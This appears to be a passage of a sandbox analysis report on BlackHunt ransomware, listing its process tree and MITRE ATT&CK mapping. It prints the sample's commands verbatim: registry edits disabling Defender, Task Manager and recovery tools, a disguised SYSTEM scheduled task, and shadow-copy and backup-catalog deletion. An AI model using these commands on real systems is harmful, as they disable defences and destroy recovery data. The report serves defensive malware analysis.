  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3868
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2" /f
    3⤵
    PID:2984
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:976
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
    3⤵
    - Modifies registry class
    PID:4528
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v "{2C5F9FCC-F266-43F6-BFD7-838DAE269E11}" /t REG_SZ /d "C:\ProgramData\#BlackHunt_ReadMe.hta" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4056
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v "{2C5F9FCC-F266-43F6-BFD7-838DAE269E11}" /t REG_SZ /d "C:\ProgramData\#BlackHunt_ReadMe.hta" /f
    3⤵
    PID:5048
  - - C:\Windows\system32\reg.exe
      reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 1 /f
      4⤵
      Suspicious use of WriteProcessMemory
      PID:4832
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3100
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /f
    3⤵
    - Modifies Windows Defender Real-time Protection settings
    PID:5028
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats" /v "Threats_ThreatSeverityDefaultAction" /t REG_DWORD /d 1 /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1800
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats" /v "Threats_ThreatSeverityDefaultAction" /t REG_DWORD /d 1 /f
    3⤵
    PID:2100
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Spynet" /v "SubmitSamplesConsent" /t REG_DWORD /d 2 /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4228
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Spynet" /v "SubmitSamplesConsent" /t REG_DWORD /d 2 /f
    3⤵
    PID:2796
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Medium" /t REG_DWORD /d 6 /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3388
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Medium" /t REG_DWORD /d 6 /f
    3⤵
    PID:2712
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Low" /t REG_DWORD /d 6 /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:624
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Low" /t REG_DWORD /d 6 /f
    3⤵
    PID:5084
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4000
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Severe" /t REG_DWORD /d 6 /f
  2⤵
  PID:5104
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Severe" /t REG_DWORD /d 6 /f
    3⤵
    PID:392
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "High" /t REG_DWORD /d 6 /f
  2⤵
  PID:208
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "High" /t REG_DWORD /d 6 /f
    3⤵
    PID:968
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "NoLogoff" /t REG_DWORD /d 1 /f
  2⤵
  PID:3972
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "NoLogoff" /t REG_DWORD /d 1 /f
    3⤵
    PID:2328
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableConfig" /t REG_DWORD /d 1 /f
  2⤵
  PID:2452
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableConfig" /t REG_DWORD /d 1 /f
    3⤵
    PID:4024
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
  2⤵
  PID:2292
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
    3⤵
    - Modifies registry class
    PID:2984
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 1 /f
  2⤵
  PID:3876
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 1 /f
    3⤵
    PID:4768
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 1 /f
  2⤵
  - Adds Run key to start application
  PID:5048
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupUI" /t REG_DWORD /d 1 /f
  2⤵
  PID:1236
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableSystemBackupUI" /t REG_DWORD /d 1 /f
  2⤵
  PID:4484
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableRestoreUI" /t REG_DWORD /d 1 /f
  2⤵
  PID:2640
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupLauncher" /t REG_DWORD /d 1 /f
  2⤵
  PID:4292
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WinRE" /v "DisableSetup" /t REG_DWORD /d 1 /f
  2⤵
  PID:3836
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableSR" /t REG_DWORD /d 1 /f
  2⤵
  PID:448
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
  2⤵
  PID:2140
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableChangePassword" /t REG_DWORD /d 1 /f
  2⤵
  PID:2880
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "StartMenuLogOff" /t REG_DWORD /d 1 /f
  2⤵
  PID:4088
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoClose" /t REG_DWORD /d 1 /f
  2⤵
  PID:5096
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\UX Configuration" /v "Notification_Suppress" /t REG_DWORD /d 1 /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1108
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c SCHTASKS.exe /Create /RU "NT AUTHORITY\SYSTEM" /sc onstart /TN "Windows Critical Update" /TR "C:\Users\Admin\AppData\Local\Temp\4525be4072353f649516334425b2c8771b518b9016c08ba11a4135f3552f8709.exe" /F
  2⤵
  PID:2100
- - C:\Windows\system32\schtasks.exe
    SCHTASKS.exe /Create /RU "NT AUTHORITY\SYSTEM" /sc onstart /TN "Windows Critical Update" /TR "C:\Users\Admin\AppData\Local\Temp\4525be4072353f649516334425b2c8771b518b9016c08ba11a4135f3552f8709.exe" /F
    3⤵
    - Creates scheduled task(s)
    PID:1848
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=401MB
  2⤵
  PID:3088
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=401MB
    3⤵
    - Enumerates connected drives
    - Interacts with shadow copies
    PID:2508
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=unbounded
  2⤵
  PID:4352
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=unbounded
    3⤵
    - Enumerates connected drives
    - Interacts with shadow copies
    PID:3952
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=401MB
  2⤵
  PID:3988
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=401MB
    3⤵
    - Interacts with shadow copies
    PID:4624
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=unbounded
  2⤵
  PID:3404
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=unbounded
    3⤵
    - Interacts with shadow copies
    PID:2132
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin.exe Delete Shadows /all /quiet
  2⤵
  PID:5012
- - C:\Windows\system32\vssadmin.exe
    vssadmin.exe Delete Shadows /all /quiet
    3⤵
    - Interacts with shadow copies
    PID:3852
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} recoveryenabled No
  2⤵
  PID:1576
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} recoveryenabled No
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:4048
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
  2⤵
  PID:4156
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:2536
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c fsutil.exe usn deletejournal /D C:
  2⤵
  PID:3756
- - C:\Windows\system32\fsutil.exe
    fsutil.exe usn deletejournal /D C:
    3⤵
    - Deletes NTFS Change Journal
    PID:3356
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wbadmin.exe delete catalog -quiet
  2⤵
  PID:2176
- - C:\Windows\system32\wbadmin.exe
    wbadmin.exe delete catalog -quiet
    3⤵
    - Deletes backup catalog
    PID:720
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
  2⤵
  PID:2300
- - C:\Windows\system32\schtasks.exe
    schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
    3⤵
    PID:2244

C:\Windows\system32\reg.exe
reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f
1⤵
PID:2952

C:\Windows\system32\reg.exe
reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoClose" /t REG_DWORD /d 1 /f
1⤵
PID:1428

C:\Windows\system32\reg.exe
reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "StartMenuLogOff" /t REG_DWORD /d 1 /f
1⤵
PID:2508

C:\Windows\system32\reg.exe
reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableSR" /t REG_DWORD /d 1 /f
1⤵
PID:2132

C:\Windows\system32\reg.exe
reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupLauncher" /t REG_DWORD /d 1 /f
1⤵
PID:912

C:\Windows\system32\reg.exe
reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableRestoreUI" /t REG_DWORD /d 1 /f
1⤵
PID:4676

C:\Windows\system32\reg.exe
reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableSystemBackupUI" /t REG_DWORD /d 1 /f
1⤵
PID:3412

C:\Windows\system32\reg.exe
reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupUI" /t REG_DWORD /d 1 /f
1⤵
PID:1280

C:\Windows\system32\reg.exe
reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WinRE" /v "DisableSetup" /t REG_DWORD /d 1 /f
1⤵
PID:2300

C:\Windows\system32\reg.exe
reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableChangePassword" /t REG_DWORD /d 1 /f
1⤵
PID:1576

C:\Windows\system32\reg.exe
reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
1⤵
PID:3008

C:\Windows\system32\reg.exe
reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\UX Configuration" /v "Notification_Suppress" /t REG_DWORD /d 1 /f
1⤵
PID:4556

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:4360

C:\Windows\system32\wbengine.exe
"C:\Windows\system32\wbengine.exe"
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:5252

C:\Windows\System32\vdsldr.exe
C:\Windows\System32\vdsldr.exe -Embedding
1⤵
PID:5992

C:\Windows\System32\vds.exe
C:\Windows\System32\vds.exe
1⤵
- Checks SCSI registry key(s)
PID:3844

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Scheduled Task/Job

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

Privilege Escalation

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

Defense Evasion

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Indicator Removal

T1070

File Deletion

T1070.004

Modify Registry

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

System Information Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Data Destruction

T1485

Inhibit System Recovery